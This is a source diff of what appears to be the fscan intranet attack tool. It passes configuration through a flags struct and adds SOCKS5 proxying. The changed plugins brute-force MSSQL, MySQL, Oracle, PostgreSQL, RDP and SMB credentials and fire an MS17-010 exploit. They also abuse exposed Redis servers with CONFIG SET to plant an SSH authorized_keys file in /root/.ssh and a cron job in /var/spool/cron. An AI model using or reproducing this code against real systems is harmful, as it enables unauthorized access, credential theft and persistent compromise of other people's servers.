err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
err = conn.SetDeadline(time.Now().Add(time.Duration(flags.Timeout) * time.Second))
if err != nil {
//fmt.Printf("failed to connect to %s\n", ip)
return err
@ -137,8 +138,8 @@ func MS17010Scan(info *common.HostInfo) error {
result := fmt.Sprintf("[+] %s\tMS17-010\t(%s)", ip, os)
common.LogSuccess(result)
defer func() {
if common.SC != "" {
MS17010EXP(info)
if flags.SC != "" {
MS17010EXP(info, flags)
}
}()
// detect present of DOUBLEPULSAR SMB implant

View File

@ -3,22 +3,23 @@ package Plugins
import (
"database/sql"
"fmt"
_ "github.com/denisenkom/go-mssqldb"
"github.com/shadow1ng/fscan/common"
"strings"
"time"
_ "github.com/denisenkom/go-mssqldb"
"github.com/shadow1ng/fscan/common"
)
func MssqlScan(info *common.HostInfo) (tmperr error) {
if common.IsBrute {
func MssqlScan(info common.HostInfo, flags common.Flags) (tmperr error) {
if flags.IsBrute {
return
}
starttime := time.Now().Unix()
for _, user := range common.Userdict["mssql"] {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := MssqlConn(info, user, pass)
if flag == true && err == nil {
flag, err := MssqlConn(info, user, pass, flags.Timeout)
if flag && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] mssql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
@ -27,7 +28,7 @@ func MssqlScan(info *common.HostInfo) (tmperr error) {
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["mssql"])*len(common.Passwords)) * common.Timeout) {
if time.Now().Unix()-starttime > (int64(len(common.Userdict["mssql"])*len(common.Passwords)) * flags.Timeout) {
return err
}
}
@ -36,14 +37,14 @@ func MssqlScan(info *common.HostInfo) (tmperr error) {
return tmperr
}
func MssqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
func MssqlConn(info common.HostInfo, user string, pass string, timeout int64) (flag bool, err error) {
flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass
dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%v;encrypt=disable;timeout=%v", Host, Username, Password, Port, time.Duration(common.Timeout)*time.Second)
dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%v;encrypt=disable;timeout=%v", Host, Username, Password, Port, time.Duration(timeout)*time.Second)
db, err := sql.Open("mssql", dataSourceName)
if err == nil {
db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second)
db.SetConnMaxIdleTime(time.Duration(common.Timeout) * time.Second)
db.SetConnMaxLifetime(time.Duration(timeout) * time.Second)
db.SetConnMaxIdleTime(time.Duration(timeout) * time.Second)
db.SetMaxIdleConns(0)
defer db.Close()
err = db.Ping()

View File

@ -3,22 +3,23 @@ package Plugins
import (
"database/sql"
"fmt"
_ "github.com/go-sql-driver/mysql"
"github.com/shadow1ng/fscan/common"
"strings"
"time"
_ "github.com/go-sql-driver/mysql"
"github.com/shadow1ng/fscan/common"
)
func MysqlScan(info *common.HostInfo) (tmperr error) {
if common.IsBrute {
func MysqlScan(info common.HostInfo, flags common.Flags) (tmperr error) {
if flags.IsBrute {
return
}
starttime := time.Now().Unix()
for _, user := range common.Userdict["mysql"] {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := MysqlConn(info, user, pass)
if flag == true && err == nil {
flag, err := MysqlConn(info, user, pass, flags.Timeout)
if flag && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] mysql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
@ -27,7 +28,7 @@ func MysqlScan(info *common.HostInfo) (tmperr error) {
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["mysql"])*len(common.Passwords)) * common.Timeout) {
if time.Now().Unix()-starttime > (int64(len(common.Userdict["mysql"])*len(common.Passwords)) * flags.Timeout) {
return err
}
}
@ -36,14 +37,14 @@ func MysqlScan(info *common.HostInfo) (tmperr error) {
return tmperr
}
func MysqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
func MysqlConn(info common.HostInfo, user string, pass string, timeout int64) (flag bool, err error) {
flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass
dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v", Username, Password, Host, Port, time.Duration(common.Timeout)*time.Second)
dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v", Username, Password, Host, Port, time.Duration(timeout)*time.Second)
db, err := sql.Open("mysql", dataSourceName)
if err == nil {
db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second)
db.SetConnMaxIdleTime(time.Duration(common.Timeout) * time.Second)
db.SetConnMaxLifetime(time.Duration(timeout) * time.Second)
db.SetConnMaxIdleTime(time.Duration(timeout) * time.Second)
db.SetMaxIdleConns(0)
defer db.Close()
err = db.Ping()

View File

@ -3,22 +3,23 @@ package Plugins
import (
"database/sql"
"fmt"
"github.com/shadow1ng/fscan/common"
_ "github.com/sijms/go-ora/v2"
"strings"
"time"
"github.com/shadow1ng/fscan/common"
_ "github.com/sijms/go-ora/v2"
)
func OracleScan(info *common.HostInfo) (tmperr error) {
if common.IsBrute {
func OracleScan(info common.HostInfo, flags common.Flags) (tmperr error) {
if flags.IsBrute {
return
}
starttime := time.Now().Unix()
for _, user := range common.Userdict["oracle"] {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := OracleConn(info, user, pass)
if flag == true && err == nil {
flag, err := OracleConn(info, user, pass, flags.Timeout)
if flag && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] oracle %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
@ -27,7 +28,7 @@ func OracleScan(info *common.HostInfo) (tmperr error) {
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["oracle"])*len(common.Passwords)) * common.Timeout) {
if time.Now().Unix()-starttime > (int64(len(common.Userdict["oracle"])*len(common.Passwords)) * flags.Timeout) {
return err
}
}
@ -36,14 +37,14 @@ func OracleScan(info *common.HostInfo) (tmperr error) {
return tmperr
}
func OracleConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
func OracleConn(info common.HostInfo, user string, pass string, timeout int64) (flag bool, err error) {
flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass
dataSourceName := fmt.Sprintf("oracle://%s:%s@%s:%s/orcl", Username, Password, Host, Port)
db, err := sql.Open("oracle", dataSourceName)
if err == nil {
db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second)
db.SetConnMaxIdleTime(time.Duration(common.Timeout) * time.Second)
db.SetConnMaxLifetime(time.Duration(timeout) * time.Second)
db.SetConnMaxIdleTime(time.Duration(timeout) * time.Second)
db.SetMaxIdleConns(0)
defer db.Close()
err = db.Ping()

View File

@ -2,11 +2,12 @@ package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/common"
"sort"
"strconv"
"sync"
"time"
"github.com/shadow1ng/fscan/common"
)
type Addr struct {
@ -14,10 +15,10 @@ type Addr struct {
port int
}
func PortScan(hostslist []string, ports string, timeout int64) []string {
func PortScan(hostslist []string, ports string, flags common.Flags) []string {
var AliveAddress []string
probePorts := common.ParsePort(ports)
noPorts := common.ParsePort(common.NoPorts)
noPorts := common.ParsePort(flags.NoPorts)
if len(noPorts) > 0 {
temp := map[int]struct{}{}
for _, port := range probePorts {
@ -29,18 +30,18 @@ func PortScan(hostslist []string, ports string, timeout int64) []string {
}
var newDatas []int
for port, _ := range temp {
for port := range temp {
newDatas = append(newDatas, port)
}
probePorts = newDatas
sort.Ints(probePorts)
}
workers := common.Threads
workers := flags.Threads
Addrs := make(chan Addr, len(hostslist)*len(probePorts))
results := make(chan string, len(hostslist)*len(probePorts))
var wg sync.WaitGroup
//接收结果
// receive result
go func() {
for found := range results {
AliveAddress = append(AliveAddress, found)
@ -48,32 +49,35 @@ func PortScan(hostslist []string, ports string, timeout int64) []string {
}
}()
//多线程扫描
// multithreaded scan
for i := 0; i < workers; i++ {
go func() {
for addr := range Addrs {
PortConnect(addr, results, timeout, &wg)
PortConnect(addr, common.Socks5{Address: flags.Socks5Proxy}, results, flags.Timeout, &wg)
wg.Done()
}
}()
}
//添加扫描目标
// add scan target
for _, port := range probePorts {
for _, host := range hostslist {
wg.Add(1)
Addrs <- Addr{host, port}
}
}
wg.Wait()
close(Addrs)
close(results)
return AliveAddress
}
func PortConnect(addr Addr, respondingHosts chan<- string, adjustedTimeout int64, wg *sync.WaitGroup) {
func PortConnect(addr Addr, socks5Proxy common.Socks5, respondingHosts chan<- string, adjustedTimeout int64, wg *sync.WaitGroup) {
host, port := addr.ip, addr.port
conn, err := common.WrapperTcpWithTimeout("tcp4", fmt.Sprintf("%s:%v", host, port), time.Duration(adjustedTimeout)*time.Second)
conn, err := common.WrapperTcpWithTimeout("tcp4", fmt.Sprintf("%s:%v", host, port), socks5Proxy, time.Duration(adjustedTimeout)*time.Second)
defer func() {
if conn != nil {
conn.Close()
@ -88,9 +92,9 @@ func PortConnect(addr Addr, respondingHosts chan<- string, adjustedTimeout int64
}
}
func NoPortScan(hostslist []string, ports string) (AliveAddress []string) {
func NoPortScan(hostslist []string, ports string, flags common.Flags) (AliveAddress []string) {
probePorts := common.ParsePort(ports)
noPorts := common.ParsePort(common.NoPorts)
noPorts := common.ParsePort(flags.NoPorts)
if len(noPorts) > 0 {
temp := map[int]struct{}{}
for _, port := range probePorts {
@ -102,12 +106,13 @@ func NoPortScan(hostslist []string, ports string) (AliveAddress []string) {
}
var newDatas []int
for port, _ := range temp {
for port := range temp {
newDatas = append(newDatas, port)
}
probePorts = newDatas
sort.Ints(probePorts)
}
for _, port := range probePorts {
for _, host := range hostslist {
address := host + ":" + strconv.Itoa(port)

View File

@ -3,22 +3,23 @@ package Plugins
import (
"database/sql"
"fmt"
_ "github.com/lib/pq"
"github.com/shadow1ng/fscan/common"
"strings"
"time"
_ "github.com/lib/pq"
"github.com/shadow1ng/fscan/common"
)
func PostgresScan(info *common.HostInfo) (tmperr error) {
if common.IsBrute {
func PostgresScan(info common.HostInfo, flags common.Flags) (tmperr error) {
if flags.IsBrute {
return
}
starttime := time.Now().Unix()
for _, user := range common.Userdict["postgresql"] {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", string(user), -1)
flag, err := PostgresConn(info, user, pass)
if flag == true && err == nil {
flag, err := PostgresConn(info, user, pass, flags.Timeout)
if flag && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] psql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
@ -27,7 +28,7 @@ func PostgresScan(info *common.HostInfo) (tmperr error) {
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["postgresql"])*len(common.Passwords)) * common.Timeout) {
if time.Now().Unix()-starttime > (int64(len(common.Userdict["postgresql"])*len(common.Passwords)) * flags.Timeout) {
return err
}
}
@ -36,13 +37,13 @@ func PostgresScan(info *common.HostInfo) (tmperr error) {
return tmperr
}
func PostgresConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
func PostgresConn(info common.HostInfo, user string, pass string, timeout int64) (flag bool, err error) {
flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass
dataSourceName := fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", Username, Password, Host, Port, "postgres", "disable")
db, err := sql.Open("postgres", dataSourceName)
if err == nil {
db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second)
db.SetConnMaxLifetime(time.Duration(timeout) * time.Second)
defer db.Close()
err = db.Ping()
if err == nil {

View File

@ -3,6 +3,13 @@ package Plugins
import (
"errors"
"fmt"
"log"
"os"
"strconv"
"strings"
"sync"
"time"
"github.com/shadow1ng/fscan/common"
"github.com/tomatome/grdp/core"
"github.com/tomatome/grdp/glog"
@ -13,12 +20,6 @@ import (
"github.com/tomatome/grdp/protocol/t125"
"github.com/tomatome/grdp/protocol/tpkt"
"github.com/tomatome/grdp/protocol/x224"
"log"
"os"
"strconv"
"strings"
"sync"
"time"
)
type Brutelist struct {
@ -26,11 +27,13 @@ type Brutelist struct {
pass string
}
func RdpScan(info *common.HostInfo) (tmperr error) {
if common.IsBrute {
var sock5Proxy common.Socks5 = common.Socks5{Address: ""}
func RdpScan(info common.HostInfo, flags common.Flags) (tmperr error) {
if flags.IsBrute {
return
}
sock5Proxy = common.Socks5{Address: flags.Socks5Proxy}
var wg sync.WaitGroup
var signal bool
var num = 0
@ -46,9 +49,9 @@ func RdpScan(info *common.HostInfo) (tmperr error) {
}
}
for i := 0; i < common.BruteThread; i++ {
for i := 0; i < flags.BruteThread; i++ {
wg.Add(1)
go worker(info.Host, common.Domain, port, &wg, brlist, &signal, &num, all, &mutex, common.Timeout)
go worker(info.Host, flags.Domain, port, &wg, brlist, &signal, &num, all, &mutex, flags.Timeout)
}
close(brlist)
@ -108,6 +111,7 @@ func RdpConn(ip, domain, user, password string, port int, timeout int64) (bool,
type Client struct {
Host string // ip:port
proxy common.Socks5
tpkt *tpkt.TPKT
x224 *x224.X224
mcs *t125.MCSClient
@ -125,8 +129,12 @@ func NewClient(host string, logLevel glog.LEVEL) *Client {
}
}
func (g *Client) setProxy(proxy common.Socks5) {
g.proxy = proxy
}
func (g *Client) Login(domain, user, pwd string, timeout int64) error {
conn, err := common.WrapperTcpWithTimeout("tcp", g.Host, time.Duration(timeout)*time.Second)
conn, err := common.WrapperTcpWithTimeout("tcp", g.Host, sock5Proxy, time.Duration(timeout)*time.Second)
defer func() {
if conn != nil {
conn.Close()
@ -187,7 +195,7 @@ func (g *Client) Login(domain, user, pwd string, timeout int64) error {
glog.Info("on update:", rectangles)
})
g.pdu.On("done", func() {
if breakFlag == false {
if !breakFlag {
breakFlag = true
wg.Done()
}

View File

@ -3,11 +3,12 @@ package Plugins
import (
"bufio"
"fmt"
"github.com/shadow1ng/fscan/common"
"net"
"os"
"strings"
"time"
"github.com/shadow1ng/fscan/common"
)
var (
@ -15,19 +16,19 @@ var (
dir string
)
func RedisScan(info *common.HostInfo) (tmperr error) {
func RedisScan(info *common.HostInfo, flags common.Flags) (tmperr error) {
starttime := time.Now().Unix()
flag, err := RedisUnauth(info)
if flag == true && err == nil {
flag, err := RedisUnauth(info, flags)
if flag && err == nil {
return err
}
if common.IsBrute {
if flags.IsBrute {
return
}
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", "redis", -1)
flag, err := RedisConn(info, pass)
if flag == true && err == nil {
flag, err := RedisConn(info, flags, pass)
if flag && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] redis %v:%v %v %v", info.Host, info.Ports, pass, err)
@ -36,7 +37,7 @@ func RedisScan(info *common.HostInfo) (tmperr error) {
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Passwords)) * common.Timeout) {
if time.Now().Unix()-starttime > (int64(len(common.Passwords)) * flags.Timeout) {
return err
}
}
@ -44,10 +45,10 @@ func RedisScan(info *common.HostInfo) (tmperr error) {
return tmperr
}
func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) {
func RedisConn(info *common.HostInfo, flags common.Flags, pass string) (flag bool, err error) {
flag = false
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.Timeout)*time.Second)
defer func() {
if conn != nil {
conn.Close()
@ -56,7 +57,7 @@ func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) {
if err != nil {
return flag, err
}
err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
err = conn.SetReadDeadline(time.Now().Add(time.Duration(flags.Timeout) * time.Second))
if err != nil {
return flag, err
}
@ -79,15 +80,15 @@ func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) {
result := fmt.Sprintf("[+] Redis:%s %s file:%s/%s", realhost, pass, dir, dbfilename)
common.LogSuccess(result)
}
err = Expoilt(realhost, conn)
err = Expoilt(realhost, conn, flags.RedisShell)
}
return flag, err
}
func RedisUnauth(info *common.HostInfo) (flag bool, err error) {
func RedisUnauth(info *common.HostInfo, flags common.Flags) (flag bool, err error) {
flag = false
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.Timeout)*time.Second)
defer func() {
if conn != nil {
conn.Close()
@ -96,7 +97,7 @@ func RedisUnauth(info *common.HostInfo) (flag bool, err error) {
if err != nil {
return flag, err
}
err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
err = conn.SetReadDeadline(time.Now().Add(time.Duration(flags.Timeout) * time.Second))
if err != nil {
return flag, err
}
@ -119,23 +120,23 @@ func RedisUnauth(info *common.HostInfo) (flag bool, err error) {
result := fmt.Sprintf("[+] Redis:%s unauthorized file:%s/%s", realhost, dir, dbfilename)
common.LogSuccess(result)
}
err = Expoilt(realhost, conn)
err = Expoilt(realhost, conn, flags.RedisShell)
}
return flag, err
}
func Expoilt(realhost string, conn net.Conn) error {
func Expoilt(realhost string, conn net.Conn, redisShell string) error {
flagSsh, flagCron, err := testwrite(conn)
if err != nil {
return err
}
if flagSsh == true {
if flagSsh {
result := fmt.Sprintf("[+] Redis:%v like can write /root/.ssh/", realhost)
common.LogSuccess(result)
if common.RedisFile != "" {
writeok, text, err := writekey(conn, common.RedisFile)
if redisShell != "" {
writeok, text, err := writekey(conn, redisShell)
if err != nil {
fmt.Println(fmt.Sprintf("[-] %v SSH write key errer: %v", realhost, text))
fmt.Printf("[-] %s SSH write key errer: %s", realhost, text)
return err
}
if writeok {
@ -147,11 +148,11 @@ func Expoilt(realhost string, conn net.Conn) error {
}
}
if flagCron == true {
if flagCron {
result := fmt.Sprintf("[+] Redis:%v like can write /var/spool/cron/", realhost)
common.LogSuccess(result)
if common.RedisShell != "" {
writeok, text, err := writecron(conn, common.RedisShell)
if redisShell != "" {
writeok, text, err := writecron(conn, redisShell)
if err != nil {
return err
}
@ -169,7 +170,7 @@ func Expoilt(realhost string, conn net.Conn) error {
func writekey(conn net.Conn, filename string) (flag bool, text string, err error) {
flag = false
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
_, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n"))
if err != nil {
return flag, text, err
}
@ -178,7 +179,7 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error
return flag, text, err
}
if strings.Contains(text, "OK") {
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename authorized_keys\r\n")))
_, err := conn.Write([]byte("CONFIG SET dbfilename authorized_keys\r\n"))
if err != nil {
return flag, text, err
}
@ -205,7 +206,7 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error
return flag, text, err
}
if strings.Contains(text, "OK") {
_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
_, err = conn.Write([]byte("save\r\n"))
if err != nil {
return flag, text, err
}
@ -228,7 +229,7 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error
func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
flag = false
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n"))
if err != nil {
return flag, text, err
}
@ -237,7 +238,7 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
return flag, text, err
}
if strings.Contains(text, "OK") {
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename root\r\n")))
_, err = conn.Write([]byte("CONFIG SET dbfilename root\r\n"))
if err != nil {
return flag, text, err
}
@ -260,8 +261,7 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
return flag, text, err
}
if strings.Contains(text, "OK") {
_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
if err != nil {
if _, err = conn.Write([]byte("save\r\n")); err != nil {
return flag, text, err
}
text, err = readreply(conn)
@ -315,7 +315,7 @@ func readreply(conn net.Conn) (result string, err error) {
func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) {
var text string
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
_, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n"))
if err != nil {
return flag, flagCron, err
}
@ -326,7 +326,7 @@ func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) {
if strings.Contains(text, "OK") {
flag = true
}
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n"))
if err != nil {
return flag, flagCron, err
}
@ -341,7 +341,7 @@ func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) {
}
func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG GET dbfilename\r\n")))
_, err = conn.Write([]byte("CONFIG GET dbfilename\r\n"))
if err != nil {
return
}
@ -355,7 +355,7 @@ func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
} else {
dbfilename = text1[0]
}
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG GET dir\r\n")))
_, err = conn.Write([]byte("CONFIG GET dir\r\n"))
if err != nil {
return
}
@ -377,16 +377,16 @@ func recoverdb(dbfilename string, dir string, conn net.Conn) (err error) {
if err != nil {
return
}
dbfilename, err = readreply(conn)
if err != nil {
if _, err = readreply(conn); err != nil {
return
}
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir %s\r\n", dir)))
if err != nil {
return
}
dir, err = readreply(conn)
if err != nil {
if _, err = readreply(conn); err != nil {
return
}
return

View File

@ -2,58 +2,59 @@ package Plugins
import (
"fmt"
"github.com/fatih/color"
"github.com/shadow1ng/fscan/WebScan/lib"
"github.com/shadow1ng/fscan/common"
"reflect"
"strconv"
"strings"
"sync"
"github.com/fatih/color"
"github.com/shadow1ng/fscan/WebScan/lib"
"github.com/shadow1ng/fscan/common"
)
func Scan(info common.HostInfo) {
func Scan(info common.HostInfo, flags common.Flags) {
fmt.Println("start infoscan")
Hosts, err := common.ParseIP(info.Host, common.HostFile, common.NoHosts)
Hosts, err := common.ParseIP(&info.HostPort, info.Host, flags.HostFile, flags.NoHosts)
if err != nil {
fmt.Println("len(hosts)==0", err)
return
}
lib.Inithttp(common.Pocinfo)
var ch = make(chan struct{}, common.Threads)
lib.Inithttp(flags)
var ch = make(chan struct{}, flags.Threads)
var wg = sync.WaitGroup{}
web := strconv.Itoa(common.PORTList["web"])
ms17010 := strconv.Itoa(common.PORTList["ms17010"])
if len(Hosts) > 0 || len(common.HostPort) > 0 {
if common.NoPing == false && len(Hosts) > 0 {
Hosts = CheckLive(Hosts, common.Ping)
if len(Hosts) > 0 || len(info.HostPort) > 0 {
if flags.NoPing == false && len(Hosts) > 0 {
Hosts = CheckLive(Hosts, flags.Ping, flags.LiveTop)
color.Cyan("[*] Icmp alive hosts len is: %d", len(Hosts))
}
if common.Scantype == "icmp" {
if flags.Scantype == "icmp" {
common.LogWG.Wait()
return
}
common.GC()
var AlivePorts []string
if common.Scantype == "webonly" || common.Scantype == "webpoc" {
AlivePorts = NoPortScan(Hosts, info.Ports)
} else if common.Scantype == "hostname" {
if flags.Scantype == "webonly" || flags.Scantype == "webpoc" {
AlivePorts = NoPortScan(Hosts, info.Ports, flags)
} else if flags.Scantype == "hostname" {
info.Ports = "139"
AlivePorts = NoPortScan(Hosts, info.Ports)
AlivePorts = NoPortScan(Hosts, info.Ports, flags)
} else if len(Hosts) > 0 {
AlivePorts = PortScan(Hosts, info.Ports, common.Timeout)
AlivePorts = PortScan(Hosts, info.Ports, flags)
color.Cyan("[*] alive ports len is: %d", len(AlivePorts))
if common.Scantype == "portscan" {
if flags.Scantype == "portscan" {
common.LogWG.Wait()
return
}
}
if len(common.HostPort) > 0 {
AlivePorts = append(AlivePorts, common.HostPort...)
if len(info.HostPort) > 0 {
AlivePorts = append(AlivePorts, info.HostPort...)
AlivePorts = common.RemoveDuplicate(AlivePorts)
common.HostPort = nil
info.HostPort = nil
color.Cyan("[*] AlivePorts len is:", len(AlivePorts))
}
common.GC()
var severports []string //severports := []string{"21","22","135"."445","1433","3306","5432","6379","9200","11211","27017"...}
for _, port := range common.PORTList {
severports = append(severports, strconv.Itoa(port))
@ -61,53 +62,54 @@ func Scan(info common.HostInfo) {
fmt.Println("start vulscan")
for _, targetIP := range AlivePorts {
info.Host, info.Ports = strings.Split(targetIP, ":")[0], strings.Split(targetIP, ":")[1]
if common.Scantype == "all" || common.Scantype == "main" {
if flags.Scantype == "all" || flags.Scantype == "main" {
switch {
case info.Ports == "135":
AddScan(info.Ports, info, &ch, &wg) //findnet
if common.IsWmi {
AddScan("1000005", info, &ch, &wg) //wmiexec
AddScan(info.Ports, info, flags, &ch, &wg) //findnet
if flags.IsWmi {
AddScan("1000005", info, flags, &ch, &wg) //wmiexec
}
case info.Ports == "445":
AddScan(ms17010, info, &ch, &wg) //ms17010
AddScan(ms17010, info, flags, &ch, &wg) //ms17010
//AddScan(info.Ports, info, ch, &wg) //smb
//AddScan("1000002", info, ch, &wg) //smbghost
case info.Ports == "9000":
AddScan(web, info, &ch, &wg) //http
AddScan(info.Ports, info, &ch, &wg) //fcgiscan
AddScan(web, info, flags, &ch, &wg) //http
AddScan(info.Ports, info, flags, &ch, &wg) //fcgiscan
case IsContain(severports, info.Ports):
AddScan(info.Ports, info, &ch, &wg) //plugins scan
AddScan(info.Ports, info, flags, &ch, &wg) //plugins scan
default:
AddScan(web, info, &ch, &wg) //webtitle
AddScan(web, info, flags, &ch, &wg) //webtitle
}
} else {
scantype := strconv.Itoa(common.PORTList[common.Scantype])
AddScan(scantype, info, &ch, &wg)
scantype := strconv.Itoa(common.PORTList[flags.Scantype])
AddScan(scantype, info, flags, &ch, &wg)
}
}
}
common.GC()
for _, url := range common.Urls {
for _, url := range flags.Urls {
info.Url = url
AddScan(web, info, &ch, &wg)
AddScan(web, info, flags, &ch, &wg)
}
common.GC()
wg.Wait()
common.LogWG.Wait()
close(common.Results)
fmt.Println(fmt.Sprintf("已完成 %v/%v", common.End, common.Num))
fmt.Printf("Finished %d/%d", common.End, common.Num)
}
var Mutex = &sync.Mutex{}
func AddScan(scantype string, info common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
func AddScan(scantype string, info common.HostInfo, flags common.Flags, ch *chan struct{}, wg *sync.WaitGroup) {
*ch <- struct{}{}
wg.Add(1)
go func() {
Mutex.Lock()
common.Num += 1
Mutex.Unlock()
ScanFunc(&scantype, &info)
ScanFunc(scantype, info, flags)
Mutex.Lock()
common.End += 1
Mutex.Unlock()
@ -116,9 +118,9 @@ func AddScan(scantype string, info common.HostInfo, ch *chan struct{}, wg *sync.
}()
}
func ScanFunc(name *string, info *common.HostInfo) {
f := reflect.ValueOf(PluginList[*name])
in := []reflect.Value{reflect.ValueOf(info)}
func ScanFunc(name string, info common.HostInfo, flags common.Flags) {
f := reflect.ValueOf(PluginList[name])
in := []reflect.Value{reflect.ValueOf(info), reflect.ValueOf(flags)}
f.Call(in)
}

View File

@ -3,25 +3,26 @@ package Plugins
import (
"errors"
"fmt"
"github.com/shadow1ng/fscan/common"
"github.com/stacktitan/smb/smb"
"strings"
"time"
"github.com/shadow1ng/fscan/common"
"github.com/stacktitan/smb/smb"
)
func SmbScan(info *common.HostInfo) (tmperr error) {
if common.IsBrute {
func SmbScan(info common.HostInfo, flags common.Flags) (tmperr error) {
if flags.IsBrute {
return nil
}
starttime := time.Now().Unix()
for _, user := range common.Userdict["smb"] {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := doWithTimeOut(info, user, pass)
if flag == true && err == nil {
flag, err := doWithTimeOut(info, flags, user, pass)
if flag && err == nil {
var result string
if common.Domain != "" {
result = fmt.Sprintf("[+] SMB:%v:%v:%v\\%v %v", info.Host, info.Ports, common.Domain, user, pass)
if flags.Domain != "" {
result = fmt.Sprintf("[+] SMB:%v:%v:%v\\%v %v", info.Host, info.Ports, flags.Domain, user, pass)
} else {
result = fmt.Sprintf("[+] SMB:%v:%v:%v %v", info.Host, info.Ports, user, pass)
}
@ -35,7 +36,7 @@ func SmbScan(info *common.HostInfo) (tmperr error) {
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout) {
if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * flags.Timeout) {
return err
}
}
@ -44,7 +45,7 @@ func SmbScan(info *common.HostInfo) (tmperr error) {
return tmperr
}
func SmblConn(info *common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) {
func SmblConn(info common.HostInfo, flags common.Flags, user string, pass string, signal chan struct{}) (flag bool, err error) {
flag = false
Host, Username, Password := info.Host, user, pass
options := smb.Options{
@ -52,7 +53,7 @@ func SmblConn(info *common.HostInfo, user string, pass string, signal chan struc
Port: 445,
User: Username,
Password: Password,
Domain: common.Domain,
Domain: flags.Domain,
Workstation: "",
}
@ -67,15 +68,15 @@ func SmblConn(info *common.HostInfo, user string, pass string, signal chan struc
return flag, err
}
